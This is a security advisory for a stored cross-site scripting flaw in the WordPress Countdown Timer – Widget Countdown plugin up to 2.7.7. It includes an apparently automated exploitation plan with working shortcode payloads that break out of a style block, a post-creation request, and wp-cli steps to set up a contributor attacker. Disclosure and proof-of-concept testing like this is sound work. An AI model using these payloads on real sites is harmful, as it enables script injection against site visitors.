Countdown Timer - Widget Countdown <= 2.7.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Countdown Timer – Widget Countdown plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpdevart_countdown' shortcode in all versions up to, and including, 2.7.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.7.7What Changed in the Fix
Changes introduced in v2.7.8
Source Code
WordPress.org SVNThis research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Countdown Timer – Widget Countdown** plugin for WordPress. The vulnerability stems from the plugin's failure to sanitize or escape shortcode attributes before rendering them within `<style>` or `<scri…
Show full research plan
This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Countdown Timer – Widget Countdown plugin for WordPress. The vulnerability stems from the plugin's failure to sanitize or escape shortcode attributes before rendering them within <style> or <script> blocks on the frontend.
1. Vulnerability Summary
The wpdevart_countdown shortcode handles several attributes (such as top_ditance, bottom_distance, and font_color) that are used to generate dynamic CSS and JavaScript. Because these attributes are concatenated directly into <style> and <script> tags in includes/front_end.php, a Contributor-level user can provide a payload that breaks out of the intended context (e.g., closing a CSS rule and a </style> tag) to inject arbitrary JavaScript.
2. Attack Vector Analysis
- Shortcode:
[wpdevart_countdown] - Vulnerable Attributes:
top_ditance(misspelled in code),bottom_distance,font_color. - Authentication Level: Authenticated (Contributor or higher). Contributors can create posts and insert shortcodes.
- Preconditions: The plugin must be active.
3. Code Flow
- Entry Point: A user with
edit_postscapability (Contributor+) saves a post containing the[wpdevart_countdown]shortcode. - Processing: When the post is viewed, WordPress calls the shortcode handler
wpdevart_wpdevart_countdown_shortcodeinincludes/front_end.php. - Attribute Parsing: The handler uses
shortcode_atts()to extract attributes liketop_ditance. - Sinks:
wpdevart_wpdevart_countdown_shortcodecalls$this->wpdevart_countdown_css($curent_value).wpdevart_countdown_css(inferred from line 84) concatenatestop_ditanceinto a string that becomes the content of a<style>block.wpdevart_wpdevart_countdown_shortcodealso calls$this->wpdevart_countdown_javascript($curent_value).
- Output: The unescaped values are returned in
$output_htmland rendered on the page.
4. Nonce Acquisition Strategy
This vulnerability is triggered by viewing a post containing a malicious shortcode. No nonce is required to execute the shortcode on the frontend. While the plugin provides an AJAX-based shortcode generator (wpdevart_countdown_window_manager), a Contributor can bypass this UI entirely and manually type the shortcode into the post editor.
5. Exploitation Strategy
The plan is to use the top_ditance attribute to break out of the CSS context and inject a <script> tag.
- Payload:
15; } </style><script>alert(document.domain)</script><style> - Action: Create a post as a Contributor.
- HTTP Request (Post Creation):
- Method:
POST - URL:
http://localhost:8080/wp-admin/post.php(or usewp post createvia CLI if permitted, but the goal is to simulate the user action). - Parameters:
post_title=XSS Test&content=[wpdevart_countdown top_ditance="15; } </style><script>alert(document.domain)</script><style>"]&status=publish
- Method:
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Login: The agent will need to authenticate as
attacker.
7. Expected Results
When the post is viewed, the HTML source will contain:
<style>
#main_countedown_1 { margin-top: 15; } </style><script>alert(document.domain)</script><style>px; ... }
</style>
This will cause the browser to execute alert(document.domain).
8. Verification Steps
- Manual Check: Navigate to the published post URL using
browser_navigate. - DOM Inspection: Use
browser_evalto check if a specific "canary" variable exists or if the alert was triggered.// Check if the script was injected browser_eval("document.body.innerHTML.includes('alert(document.domain)')") - Database Check: Verify the shortcode is stored correctly in the database.
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
9. Alternative Approaches
If top_ditance is sanitized (e.g., cast to int), try the following attributes:
font_color: Often used in CSS:font_color="red; } </style><script>alert(1)</script><style>".text_for_day: This attribute is used inwpdevart_wpdevart_countdown_shortcode. Althoughesc_htmlis used in the HTML template (line 74), check if it is also passed towpdevart_countdown_javascriptand placed inside a JS variable without escaping.- Payload:
text_for_day="'; alert(1); //"
- Payload:
content: If the countdown expires and the action is nothide, the shortcode content might be rendered.- Payload:
[wpdevart_countdown end_time="0,0,0" action_end_time="show"]<script>alert(1)</script>[/wpdevart_countdown](Note:0,0,0ensures the timer is expired).
- Payload:
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.